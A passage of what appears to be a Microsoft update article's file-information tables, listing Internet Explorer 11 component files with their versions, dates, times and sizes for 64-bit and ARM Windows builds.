\nInetRes.adml| Not versioned| 12-Feb-2021| 21:56| 488,488 \nInetRes.adml| Not versioned| 12-Feb-2021| 21:56| 548,494 \nInetRes.adml| Not versioned| 12-Feb-2021| 21:56| 559,343 \nInetRes.adml| Not versioned| 12-Feb-2021| 22:02| 535,067 \nInetRes.adml| Not versioned| 12-Feb-2021| 22:02| 541,455 \nInetRes.adml| Not versioned| 12-Feb-2021| 22:03| 804,470 \nInetRes.adml| Not versioned| 12-Feb-2021| 22:00| 503,909 \nInetRes.adml| Not versioned| 12-Feb-2021| 22:02| 521,583 \nInetRes.adml| Not versioned| 12-Feb-2021| 22:02| 420,082 \nInetRes.adml| Not versioned| 12-Feb-2021| 21:59| 436,651 \nInetRes.adml| Not versioned| 12-Feb-2021| 21:59| 436,651 \ninetres.admx| Not versioned| 8-Feb-2021| 20:02| 1,678,023 \ninetcomm.dll| 6.3.9600.19963| 12-Feb-2021| 18:36| 1,033,216 \nINETRES.dll| 6.3.9600.16384| 22-Aug-2013| 4:43| 84,480 \njscript9.dll| 11.0.9600.19963| 12-Feb-2021| 19:04| 5,499,904 \njscript9diag.dll| 11.0.9600.19963| 12-Feb-2021| 19:03| 814,592 \njscript.dll| 5.8.9600.19963| 12-Feb-2021| 19:04| 785,408 \nvbscript.dll| 5.8.9600.19963| 12-Feb-2021| 19:15| 581,120 \niexplore.exe| 11.0.9600.19036| 24-May-2018| 22:24| 817,296 \nhtml.iec| 2019.0.0.18895| 1-Jan-2018| 20:51| 341,504 \nieui.dll| 11.0.9600.18895| 1-Jan-2018| 20:44| 476,160 \niepeers.dll| 11.0.9600.19963| 12-Feb-2021| 18:20| 128,512 \ntdc.ocx| 11.0.9600.19963| 12-Feb-2021| 18:24| 73,728 \ndxtmsft.dll| 11.0.9600.19963| 12-Feb-2021| 18:29| 415,744 \ndxtrans.dll| 11.0.9600.19963| 12-Feb-2021| 18:20| 280,064 \nmsfeeds.dll| 11.0.9600.19963| 12-Feb-2021| 18:12| 696,320 \nmsfeeds.mof| Not versioned| 5-Feb-2014| 21:53| 1,518 \nmshta.exe| 11.0.9600.17416| 30-Oct-2014| 20:28| 12,800 \nmshtmled.dll| 11.0.9600.19963| 12-Feb-2021| 18:21| 76,800 \nmshtml.dll| 11.0.9600.19963| 12-Feb-2021| 18:58| 20,296,192 \nmshtml.tlb| 11.0.9600.16518| 6-Feb-2014| 2:20| 2,724,864 \nwow64_Microsoft-Windows-IE-HTMLRendering.ptxml| Not versioned| 5-Feb-2014| 21:43| 3,228 \nieetwproxystub.dll| 11.0.9600.17416| 30-Oct-2014| 20:23| 47,616 \nieUnatt.exe| 11.0.9600.17416| 30-Oct-2014| 20:12| 115,712 \noccache.dll| 11.0.9600.17416| 30-Oct-2014| 19:48| 130,048 \nwebcheck.dll| 11.0.9600.19963| 12-Feb-2021| 18:13| 230,400 \niernonce.dll| 11.0.9600.17416| 30-Oct-2014| 20:15| 30,720 \niesetup.dll| 11.0.9600.17416| 30-Oct-2014| 20:24| 62,464 \nieuinit.inf| Not versioned| 12-Mar-2015| 18:55| 16,303 \niesysprep.dll| 11.0.9600.17416| 30-Oct-2014| 19:56| 90,624 \nieframe.dll| 11.0.9600.19963| 12-Feb-2021| 18:09| 13,881,856 \nie9props.propdesc| Not versioned| 23-Sep-2013| 19:34| 2,843 \nwow64_ieframe.ptxml| Not versioned| 5-Feb-2014| 21:43| 24,486 \njscript9.dll| 11.0.9600.19963| 12-Feb-2021| 18:14| 4,112,384 \njscript9diag.dll| 11.0.9600.19963| 12-Feb-2021| 18:37| 620,032 \njscript.dll| 5.8.9600.19963| 12-Feb-2021| 18:37| 653,824 \nvbscript.dll| 5.8.9600.19963| 12-Feb-2021| 18:47| 498,176 \nactxprxy.dll| 6.3.9600.19301| 25-Feb-2019| 22:20| 1,049,600 \nhlink.dll| 6.3.9600.19101| 18-Jul-2018| 20:55| 99,328 \npngfilt.dll| 11.0.9600.19963| 12-Feb-2021| 18:49| 58,368 \nurlmon.dll| 11.0.9600.19963| 12-Feb-2021| 17:50| 1,343,488 \nWininetPlugin.dll| 6.3.9600.17416| 30-Oct-2014| 20:12| 35,328 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:31| 46,592 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:30| 52,736 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:30| 51,200 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:30| 51,200 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:30| 56,320 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:32| 57,856 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:32| 49,664 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 11:17| 49,664 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:32| 54,272 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:32| 47,616 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:32| 49,152 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:30| 55,296 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:32| 45,056 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:32| 51,712 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:32| 51,712 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:32| 53,248 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:32| 39,424 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:32| 35,840 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:31| 50,176 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:31| 51,200 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:31| 50,688 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:31| 52,736 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:31| 53,760 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 12:30| 54,272 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 12:29| 54,272 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 12:30| 52,736 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 12:29| 51,200 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 12:30| 53,248 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 12:30| 52,736 \nwininet.dll.mui| 11.0.9600.19963| 12-Feb-2021| 20:30| 51,712 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 12:30| 50,688 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 12:27| 50,688 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 12:28| 50,176 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 12:28| 50,176 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 12:28| 31,232 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:30| 31,232 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:30| 31,232 \ninetcpl.cpl| 11.0.9600.19963| 12-Feb-2021| 18:12| 2,058,752 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:50| 307,200 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:50| 293,888 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:52| 290,304 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:50| 289,280 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:50| 299,008 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:50| 303,104 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:49| 282,112 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 20:58| 282,112 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:51| 296,960 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:50| 283,648 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:50| 291,840 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:50| 299,520 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:51| 275,968 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:49| 290,816 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:49| 293,376 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:53| 296,960 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:53| 258,048 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:52| 256,512 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:51| 289,280 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:53| 288,256 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:53| 285,184 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:53| 295,424 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:52| 297,472 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:50| 292,864 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:51| 295,424 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:50| 294,400 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:51| 294,400 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:50| 292,864 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:50| 290,816 \nmshtml.dll.mui| 11.0.9600.19963| 12-Feb-2021| 20:31| 290,816 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:50| 286,208 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:43| 281,600 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:43| 286,720 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:42| 292,352 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:43| 242,176 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:53| 243,200 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:50| 243,200 \nJavaScriptCollectionAgent.dll| 11.0.9600.19963| 12-Feb-2021| 18:25| 60,416 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:26| 46,080 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:24| 50,176 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:23| 48,640 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:24| 49,664 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:23| 51,712 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:12| 54,272 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:12| 48,128 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 11:10| 48,128 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:12| 50,176 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:12| 47,616 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:12| 49,152 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:24| 50,688 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:12| 45,056 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:12| 49,152 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:13| 49,152 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:07| 49,664 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:07| 39,936 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:07| 39,424 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:07| 47,616 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:07| 48,640 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:07| 51,200 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:07| 50,688 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:03| 49,152 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:04| 50,176 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:02| 49,152 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:03| 48,640 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:03| 49,664 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:03| 48,640 \nurlmon.dll.mui| 11.0.9600.19963| 12-Feb-2021| 20:31| 49,664 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:03| 48,640 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:04| 48,128 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:04| 49,152 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:05| 48,128 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:04| 35,328 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:23| 35,328 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:23| 35,328 \nwininet.dll| 11.0.9600.19963| 12-Feb-2021| 17:53| 4,388,352 \njsproxy.dll| 11.0.9600.17416| 30-Oct-2014| 20:16| 47,104 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:12| 114,176 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:09| 130,560 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:10| 124,928 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:12| 122,880 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:10| 130,048 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:12| 138,240 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:12| 114,688 \ninetcpl.cpl.mui| 11.0.9600.18666| 16-Apr-2017| 1:51| 114,688 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:12| 131,584 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:10| 117,760 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:12| 122,368 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:12| 134,144 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:13| 107,008 \ninetcpl.cpl.mui| 11.0.9600.18838| 14-Oct-2017| 1:46| 123,392 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:11| 127,488 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:11| 128,512 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:07| 88,064 \ninetcpl.cpl.mui| 11.0.9600.18838| 14-Oct-2017| 1:47| 82,944 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:07| 125,440 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:07| 123,392 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:10| 120,320 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:07| 130,560 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:07| 129,024 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:26| 125,952 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:26| 129,024 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:25| 128,000 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:26| 123,904 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:26| 129,024 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:25| 123,904 \ninetcpl.cpl.mui| 11.0.9600.19963| 12-Feb-2021| 20:31| 124,416 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 13:56| 121,856 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:03| 115,712 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:04| 123,904 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:04| 125,440 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:04| 74,752 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:09| 75,776 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:10| 75,776 \niedkcs32.dll| 18.0.9600.19963| 12-Feb-2021| 18:11| 333,312 \ninstall.ins| Not versioned| 12-Feb-2021| 16:25| 464 \nieapfltr.dat| 10.0.9301.0| 23-Sep-2013| 19:20| 616,104 \nieapfltr.dll| 11.0.9600.19963| 12-Feb-2021| 17:48| 710,656 \nlicmgr10.dll| 11.0.9600.17416| 30-Oct-2014| 20:03| 27,136 \niedvtool.dll| 11.0.9600.19963| 12-Feb-2021| 18:59| 772,608 \nDiagnosticsTap.dll| 11.0.9600.19963| 12-Feb-2021| 18:28| 175,104 \nF12Tools.dll| 11.0.9600.19963| 12-Feb-2021| 18:27| 256,000 \nmsfeedsbs.mof| Not versioned| 21-Aug-2013| 16:49| 1,574 \nmsfeedsbs.dll| 11.0.9600.19650| 11-Feb-2020| 4:57| 52,736 \nmsfeedssync.exe| 11.0.9600.17416| 30-Oct-2014| 20:25| 11,264 \nIEAdvpack.dll| 11.0.9600.17416| 30-Oct-2014| 20:14| 112,128 \nielowutil.exe| 11.0.9600.19404| 9-Jul-2019| 20:06| 221,184 \nieproxy.dll| 11.0.9600.19963| 12-Feb-2021| 17:45| 310,784 \nIEShims.dll| 11.0.9600.19846| 23-Sep-2020| 20:01| 290,304 \niexpress.exe| 11.0.9600.17416| 30-Oct-2014| 20:27| 152,064 \nwextract.exe| 11.0.9600.17416| 30-Oct-2014| 20:28| 137,728 \nimgutil.dll| 11.0.9600.19963| 12-Feb-2021| 17:59| 40,448 \nExtExport.exe| 11.0.9600.17416| 30-Oct-2014| 20:20| 25,600 \njsdbgui.dll| 11.0.9600.19963| 12-Feb-2021| 18:22| 459,776 \njsprofilerui.dll| 11.0.9600.19963| 12-Feb-2021| 18:22| 579,584 \nMshtmlDac.dll| 11.0.9600.19867| 12-Oct-2020| 21:43| 64,000 \nnetworkinspection.dll| 11.0.9600.19846| 23-Sep-2020| 20:28| 1,075,200 \npdm.dll| 12.0.41202.0| 30-Sep-2014| 16:00| 442,992 \nmsdbg2.dll| 12.0.41202.0| 30-Sep-2014| 16:00| 315,008 \npdmproxy100.dll| 12.0.41202.0| 30-Sep-2014| 16:00| 99,984 \nmsrating.dll| 11.0.9600.19507| 5-Oct-2019| 19:57| 168,960 \nicrav03.rat| Not versioned| 23-Sep-2013| 19:25| 8,798 \nticrf.rat| Not versioned| 23-Sep-2013| 19:26| 1,988 \niertutil.dll| 11.0.9600.19963| 12-Feb-2021| 18:44| 2,308,096 \ninseng.dll| 11.0.9600.17416| 30-Oct-2014| 19:56| 91,136 \nVGX.dll| 11.0.9600.19963| 12-Feb-2021| 18:21| 818,176 \nurl.dll| 11.0.9600.17416| 30-Oct-2014| 20:24| 235,520 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:27| 2,066,432 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:26| 2,121,216 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:26| 2,075,136 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:27| 2,063,872 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:26| 2,314,240 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:29| 2,390,528 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:29| 2,034,176 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:39| 2,033,152 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:29| 2,307,584 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:29| 2,255,872 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:30| 2,061,312 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:26| 2,326,016 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:29| 2,019,840 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:29| 2,071,040 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:29| 2,082,816 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:27| 2,307,584 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:26| 2,170,368 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:27| 2,153,984 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:26| 2,291,712 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:27| 2,283,520 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:26| 2,052,096 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:27| 2,301,952 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:27| 2,093,056 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:30| 2,075,648 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:30| 2,299,392 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:30| 2,094,592 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:30| 2,316,800 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:30| 2,305,536 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:30| 2,278,912 \nieframe.dll.mui| 11.0.9600.19963| 12-Feb-2021| 20:32| 2,286,080 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:30| 2,060,288 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:30| 2,315,776 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:30| 2,278,912 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:29| 2,324,992 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:30| 2,098,176 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:26| 1,890,304 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:26| 1,890,304 \nieinstal.exe| 11.0.9600.18921| 9-Feb-2018| 21:35| 475,648 \ninetcomm.dll| 6.3.9600.19963| 12-Feb-2021| 18:17| 880,640 \nINETRES.dll| 6.3.9600.16384| 21-Aug-2013| 21:14| 84,480 \n \n### \n\n__\n\nInternet Explorer 11 on all supported ARM-based versions\n\n**File name**| **File version**| **Date**| **Time**| **File size** \n---|---|---|---|--- \nactxprxy.dll| 6.3.9600.19301| 25-Feb-2019| 21:59| 1,064,960 \nhlink.dll| 6.3.9600.19101| 18-Jul-2018| 20:30| 68,608 \npngfilt.dll| 11.0.9600.19963| 12-Feb-2021| 18:21| 47,616 \nurlmon.dll| 11.0.9600.19963| 12-Feb-2021| 17:33| 1,039,360 \niexplore.exe| 11.0.9600.19867| 12-Oct-2020| 22:01| 807,816 \nWininetPlugin.dll| 6.3.9600.16384| 21-Aug-2013| 19:52| 33,792 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:08| 46,592 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:08| 52,736 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:08| 51,200 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:08| 51,200 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:08| 56,320 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:09| 57,856 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:09| 49,664 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 10:19| 49,664 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:09| 54,272 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:09| 47,616 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:09| 49,152 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:08| 55,296 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:09| 45,056 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:09| 51,712 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:09| 51,712 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:09| 53,248 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:09| 39,424 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:09| 35,840 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:09| 50,176 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:09| 51,200 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:09| 50,688 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:10| 52,736 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:09| 53,760 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:08| 54,272 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:07| 54,272 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:08| 52,736 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:08| 51,200 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:08| 53,248 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:08| 52,736 \nwininet.dll.mui| 11.0.9600.19963| 12-Feb-2021| 19:30| 51,712 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:07| 50,688 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:06| 50,688 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:06| 50,176 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:06| 50,176 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:06| 31,232 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:08| 31,232 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:08| 31,232 \nhtml.iec| 2019.0.0.19301| 25-Feb-2019| 22:35| 320,000 \ninetcpl.cpl| 11.0.9600.19963| 12-Feb-2021| 17:51| 2,007,040 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:51| 307,200 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:51| 293,888 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:51| 290,304 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:51| 289,280 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:51| 299,008 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:51| 303,104 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:51| 282,112 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:16| 282,112 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:52| 296,960 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:51| 283,648 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:51| 291,840 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:51| 299,520 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:51| 275,968 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:52| 290,816 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:51| 293,376 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:51| 296,960 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:51| 258,048 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:51| 256,512 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:51| 289,280 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:51| 288,256 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:51| 285,184 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:51| 295,424 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:51| 297,472 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:50| 292,864 \nmshtml.dll.mui| 